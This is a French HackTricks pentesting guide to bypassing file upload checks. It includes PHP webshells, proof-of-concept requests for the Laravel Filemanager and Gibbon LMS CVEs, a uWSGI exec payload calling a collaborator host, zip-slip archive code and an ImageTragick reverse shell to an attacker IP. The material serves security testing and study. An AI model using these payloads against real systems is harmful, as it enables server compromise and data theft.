32 KiB
Raw Blame History

Téléversement de fichiers

{{#include ../../banners/hacktricks-training.md}}

Méthodologie générale pour le téléversement de fichiers

Autres extensions utiles :

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Contourner les vérifications d'extensions de fichiers

  1. Si elles sont appliquées, vérifiez les extensions précédentes. Testez-les aussi en utilisant des lettres MAJUSCULES : pHp, .pHP5, .PhAr ...
  2. Vérifiez l'ajout d'une extension valide avant l'extension exécutable (utilisez aussi les extensions précédentes) :
  • file.png.php
  • file.png.Php5
  1. Essayez d'ajouter des caractères spéciaux à la fin. Vous pouvez utiliser Burp pour bruteforcer tous les caractères ascii et Unicode. (Notez que vous pouvez aussi essayer d'utiliser les extensions mentionnées précédemment)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Essayez de contourner les protections en trompant le parser d'extensions côté serveur avec des techniques comme le doublage de l'extension ou l'ajout de données inutiles (octets null) entre les extensions. Vous pouvez aussi utiliser les extensions précédentes pour préparer un payload plus efficace.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Ajoutez une autre couche d'extensions aux contrôles précédents :
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Essayez de placer l'extension exécutable avant l'extension valide et croisez les doigts si le serveur est mal configuré. (utile pour exploiter des misconfigurations Apache où tout fichier avec l'extension .php, mais ne finissant pas nécessairement par .php, exécutera du code) :
  • ex: file.php.png
  1. Utilisation des NTFS alternate data stream (ADS) sous Windows. Dans ce cas, un caractère deux-points ":" sera inséré après une extension interdite et avant une autorisée. En conséquence, un fichier vide avec l'extension interdite sera créé sur le serveur (ex. "file.asax:.jpg"). Ce fichier peut être édité plus tard via d'autres techniques comme l'utilisation de son short filename. Le motif "::$data" peut aussi être utilisé pour créer des fichiers non vides. Par conséquent, ajouter un point après ce motif peut aussi être utile pour contourner d'autres restrictions (ex. "file.asp::$data.")
  2. Essayez de dépasser les limites de nom de fichier. L'extension valide est tronquée. Et le PHP malveillant subsiste. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546

Certains gestionnaires de téléversement suppriment ou normalisent les caractères point (.) terminaux du nom de fichier enregistré. Dans UniSharps Laravel Filemanager (unisharp/laravel-filemanager) versions antérieures à 2.9.1, vous pouvez contourner la validation d'extension en :

  • Utilisant un MIME d'image valide et l'en-tête magique correspondant (par ex., PNG \x89PNG\r\n\x1a\n).
  • Nommant le fichier uploadé avec une extension PHP suivie d'un point, ex. shell.php..
  • Le serveur retire le point final et conserve shell.php, qui s'exécutera s'il est placé dans un répertoire servi par le web (stockage public par défaut comme /storage/files/).

PoC minimal (Burp Repeater) :

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Puis accédez au chemin enregistré (typique dans Laravel + LFM) :

GET /storage/files/0xdf.php?cmd=id

Mesures d'atténuation :

  • Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
  • Enforce strict server-side allowlists and re-validate the persisted filename.
  • Serve uploads from non-executable locations.

Contourner Content-Type, magic number, compression & redimensionnement

  • Contourner les contrôles Content-Type en définissant la valeur de l'entête Content-Type sur : image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Contourner le contrôle du magic number en ajoutant au début du fichier les octets d'une vraie image (tromper la commande file). Ou introduire le shell dans les métadonnées:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ or you could also introduce the payload directly in an image:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Si une compression est appliquée à votre image, par exemple en utilisant des bibliothèques PHP standards comme PHP-GD, les techniques précédentes ne seront pas utiles. Cependant, vous pouvez utiliser le PLTE chunk technique définie ici pour insérer du texte qui survivra à la compression.
  • Github with the code
  • La page web peut aussi redimensionner l'image, en utilisant par exemple les fonctions PHP-GD imagecopyresized ou imagecopyresampled. Cependant, vous pouvez utiliser le IDAT chunk technique définie ici pour insérer du texte qui survivra à la compression.
  • Github with the code
  • Une autre technique pour créer un payload qui survit au redimensionnement d'une image, en utilisant la fonction PHP-GD thumbnailImage. Cependant, vous pouvez utiliser le tEXt chunk technique définie ici pour insérer du texte qui survivra à la compression.
  • Github with the code

Autres astuces à tester

  • Trouver une vulnérabilité permettant de renommer le fichier déjà uploaded (pour changer l'extension).
  • Trouver une vulnérabilité de type Local File Inclusion pour exécuter le backdoor.
  • Divulgation d'information possible :
  1. Téléverser plusieurs fois (et en même temps) le même fichier avec le même nom
  2. Téléverser un fichier portant le nom d'un fichier ou d'un dossier qui existe déjà
  3. Téléverser un fichier nommé ".", "..", ou "…". Par exemple, sous Apache sur Windows, si l'application sauvegarde les fichiers uploadés dans le répertoire "/www/uploads/", le nom de fichier "." créera un fichier appelé "uploads" dans le répertoire "/www/".
  4. Téléverser un fichier qui peut être difficile à supprimer comme "…:.jpg" sur NTFS. (Windows)
  5. Téléverser un fichier sous Windows contenant des caractères invalides tels que |<>*?” dans son nom. (Windows)
  6. Téléverser un fichier sous Windows en utilisant des noms réservés (interdits) tels que CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, et LPT9.
  • Essayez aussi de téléverser un exécutable (.exe) ou un .html (moins suspect) qui exécutera du code lorsqu'il sera ouvert accidentellement par la victime.

Astuces pour extensions spéciales

Si vous essayez de téléverser des fichiers vers un serveur PHP, jetez un œil à l'astuce .htaccess pour exécuter du code.
Si vous essayez de téléverser des fichiers vers un serveur ASP, consultez l'astuce .config pour exécuter du code.

Les fichiers .phar sont similaires aux .jar pour Java, mais pour PHP, et peuvent être utilisés comme un fichier php (exécutés avec php, ou inclus dans un script...).

L'extension .inc est parfois utilisée pour des fichiers php destinés uniquement à importer des fichiers, donc, à un moment donné, quelqu'un pourrait avoir autorisé l'exécution de cette extension.

Jetty RCE

Si vous pouvez téléverser un fichier XML sur un serveur Jetty, vous pouvez obtenir RCE because **new .xml and .war are automatically processed. Donc, comme indiqué sur l'image suivante, téléversez le fichier XML dans $JETTY_BASE/webapps/ et attendez-vous à obtenir un shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Pour une exploration détaillée de cette vulnérabilité, consultez la recherche originale : uWSGI RCE Exploitation.

Les vulnérabilités Remote Command Execution (RCE) peuvent être exploitées sur des serveurs uWSGI si l'on a la capacité de modifier le fichier de configuration .ini. Les fichiers de configuration uWSGI utilisent une syntaxe spécifique pour incorporer des variables "magiques", des placeholders et des opérateurs. En particulier, l'opérateur '@', utilisé comme @(filename), est conçu pour inclure le contenu d'un fichier. Parmi les différents schemes pris en charge par uWSGI, le scheme "exec" est particulièrement puissant, permettant de lire des données depuis la sortie standard d'un processus. Cette fonctionnalité peut être détournée à des fins malveillantes telles que Remote Command Execution ou Arbitrary File Write/Read lors du traitement d'un fichier de configuration .ini.

Considérez l'exemple suivant d'un fichier uwsgi.ini malveillant, présentant divers schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

L'exécution du payload survient lors de l'analyse du fichier de configuration. Pour que la configuration soit activée et analysée, le processus uWSGI doit soit être redémarré (potentiellement après un crash ou à la suite d'une attaque Denial of Service) soit le fichier doit être configuré en auto-reload. La fonctionnalité auto-reload, si activée, recharge le fichier à des intervalles spécifiés lorsqu'elle détecte des modifications.

Il est crucial de comprendre la nature laxiste de l'analyse des fichiers de configuration par uWSGI. Plus précisément, le payload discuté peut être inséré dans un fichier binaire (comme une image ou un PDF), élargissant ainsi le périmètre d'exploitation potentiel.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Un endpoint non authentifié dans Gibbon LMS permet arbitrary file write à l'intérieur du web root, conduisant à pre-auth RCE en déposant un fichier PHP. Versions vulnérables : jusqu'à et incluant 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: data-URI-like string: [mime];[name],[base64] (le serveur ignore le type/nom, décode en base64 la partie finale)
  • path: nom de fichier de destination relatif au répertoire d'installation de Gibbon (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: toute valeur non vide est acceptée (e.g., 0000000001)

PoC minimal pour écrire et relire un fichier :

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Déposer un webshell minimal et exécuter des commandes:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes :

  • Le handler exécute base64_decode($_POST["img"]) après avoir scindé par ; et ,, puis écrit les octets dans $absolutePath . '/' . $_POST['path'] sans valider l'extension/le type.
  • Le code résultant s'exécute avec les privilèges de l'utilisateur du service web (par ex., XAMPP Apache sur Windows).

Les références pour ce bug incluent l'advisory usd HeroLab et l'entrée NVD. Voir la section References cidessous.

wget File Upload/SSRF Trick

Il arrive parfois qu'un serveur utilise wget pour télécharger des fichiers et que vous puissiez indiquer l'URL. Dans ces cas, le code peut vérifier que l'extension des fichiers téléchargés figure dans une whitelist afin de s'assurer que seuls les fichiers autorisés seront téléchargés. Cependant, cette vérification peut être contournée.
La longueur maximale d'un filename sous linux est 255, cependant, wget tronque les filenames à 236 caractères. Vous pouvez download a file called "A"*232+".php"+".gif", ce nom de fichier contournera la vérification (dans cet exemple ".gif" est une extension valide) mais wget va renommer le fichier en "A"*232+".php".

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Notez que une autre option à laquelle vous pensez peut-être pour contourner cette vérification est de faire en sorte que le HTTP server redirect to a different file, de sorte que l'URL initiale contournera la vérification mais wget téléchargera ensuite le fichier redirigé avec le nouveau nom. Cela ne fonctionnera pas sauf si wget est utilisé avec le paramètre --trust-server-names car wget téléchargera la page redirigée avec le nom du fichier indiqué dans l'URL originale.

Échapper au upload directory via NTFS junctions (Windows)

(Pour cette attaque vous aurez besoin d'un accès local à la machine Windows) Lorsque les uploads sont stockés dans des sous-dossiers par utilisateur sur Windows (p. ex., C:\Windows\Tasks\Uploads<id>) et que vous contrôlez la création/suppression de ce sous-dossier, vous pouvez le remplacer par un directory junction pointant vers un emplacement sensible (p. ex., le webroot). Les uploads suivants seront écrits dans le chemin cible, permettant l'exécution de code si la cible interprète du serverside code.

Exemple de déroulement pour rediriger les uploads vers le XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Remarques

  • mklink /J creates an NTFS directory junction (reparse point). Le compte du serveur web doit suivre la jonction et avoir la permission d'écriture dans la destination.
  • This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
  • Défenses : ne pas autoriser que les répertoires racine de téléversement écrits soient contrôlables par un attaquant sous C:\Windows\Tasks ou similaire ; bloquer la création de junctions ; valider les extensions côté serveur ; stocker les téléversements sur un volume séparé ou appliquer des ACLs denyexecute.

Outils

  • Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.

Corrupting upload indices with snprintf quirks (historical)

Certains handlers legacy d'upload qui utilisent snprintf() ou équivalent pour construire des tableaux multi-fichiers à partir d'un téléversement single-file peuvent être trompés pour forger la structure _FILES. En raison d'incohérences et de troncatures dans le comportement de snprintf(), un téléversement soigneusement construit peut apparaître comme plusieurs fichiers indexés côté serveur, perturbant la logique qui suppose une forme stricte (par ex., le traiter comme un multi-file upload et emprunter des branches non sûres). Bien que marginal aujourd'hui, ce motif de « index corruption » réapparaît parfois dans des CTFs et de vieux codebases.

From File upload to other vulnerabilities

Heres a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

{{#ref}} https://github.com/portswigger/upload-scanner {{#endref}}

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Se référer à https://en.wikipedia.org/wiki/List_of_file_signatures pour d'autres types de fichiers.

Zip/Tar File Automatically decompressed Upload

Si vous pouvez uploader un ZIP qui va être décompressé côté serveur, vous pouvez faire deux choses :

Uploader une archive contenant des symlinks vers d'autres fichiers ; ensuite, en accédant aux fichiers décompressés vous accéderiez aux fichiers liés :

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Décompression dans différents dossiers

La création inattendue de fichiers dans des répertoires lors de la décompression est un problème important. Malgré l'hypothèse initiale selon laquelle cette configuration pourrait protéger contre l'exécution de commandes au niveau OS via des uploads de fichiers malveillants, le support de compression hiérarchique et les capacités de traversée de répertoires du format d'archive ZIP peuvent être exploités. Cela permet aux attaquants de contourner les restrictions et d'échapper aux répertoires d'upload sécurisés en manipulant la fonctionnalité de décompression de l'application ciblée.

Un exploit automatisé pour créer de tels fichiers est disponible sur evilarc on GitHub. L'utilitaire peut être utilisé comme suit :

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

De plus, le symlink trick with evilarc est une option. Si l'objectif est de cibler un fichier comme /flag.txt, un symlink vers ce fichier doit être créé sur votre système. Cela garantit qu'evilarc ne rencontre pas d'erreurs lors de son exécution.

Ci-dessous un exemple de code Python utilisé pour créer un fichier zip malveillant :

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abuser la compression pour file spraying

Pour plus de détails consultez l'article original : https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Du code PHP est écrit pour exécuter des commandes passées via la variable $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Plusieurs fichiers sont créés et une archive zip est assemblée contenant ces fichiers.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: Les noms des fichiers à l'intérieur du zip sont modifiés avec vi ou un Hex Editor, remplaçant "xxA" par "../" pour traverser les répertoires.
:set modifiable
:%s/xxA/../g
:x!

ImageTragic

Téléversez ce contenu avec une extension d'image pour exploiter la vulnérabilité (ImageMagick, 7.0.1-1) (d'après l'exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Intégrer un PHP Shell dans un PNG

L'intégration d'un PHP shell dans le chunk IDAT d'un fichier PNG peut contourner efficacement certaines opérations de traitement d'images. Les fonctions imagecopyresized et imagecopyresampled de PHP-GD sont particulièrement pertinentes dans ce contexte, puisqu'elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. La capacité du PHP shell intégré à rester inchangé par ces opérations constitue un avantage important pour certains cas d'utilisation.

Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : "Encoding Web Shells in PNG IDAT chunks". Cette ressource offre une compréhension complète du processus et de ses implications.

Plus d'informations : https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Fichiers polyglottes

Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant exister simultanément et valablement dans plusieurs formats de fichiers. Un exemple intrigant est un GIFAR, un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont également possibles.

L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les contrôles de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à n'autoriser que certains types de fichiers pour les uploads — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou fichiers Phar). Cependant, un polyglotte, en répondant aux critères structurels de plusieurs types de fichiers, peut passer furtivement outre ces restrictions.

Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, même si un polyglotte peut incarner simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre des politiques d'extensions de fichiers de la plateforme. Si le système est strict sur les extensions autorisées, la seule dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.

Plus d'informations : https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Télécharger des JSON valides comme s'il s'agissait d'un PDF

Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si non autorisé en le faisant passer pour un PDF (techniques tirées de this blog post) :

  • mmmagic library : Tant que les octets magiques %PDF se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)
  • pdflib library : Insérer un faux format PDF à l'intérieur d'un champ du JSON pour que la library pense que c'est un PDF (voir exemple dans l'article)
  • file binary : Il peut lire jusqu'à 1048576 bytes d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu en tant que json et ensuite, à l'intérieur du JSON, mettre la partie initiale d'un vrai PDF et il le considérera comme un PDF

Références

{{#include ../../banners/hacktricks-training.md}}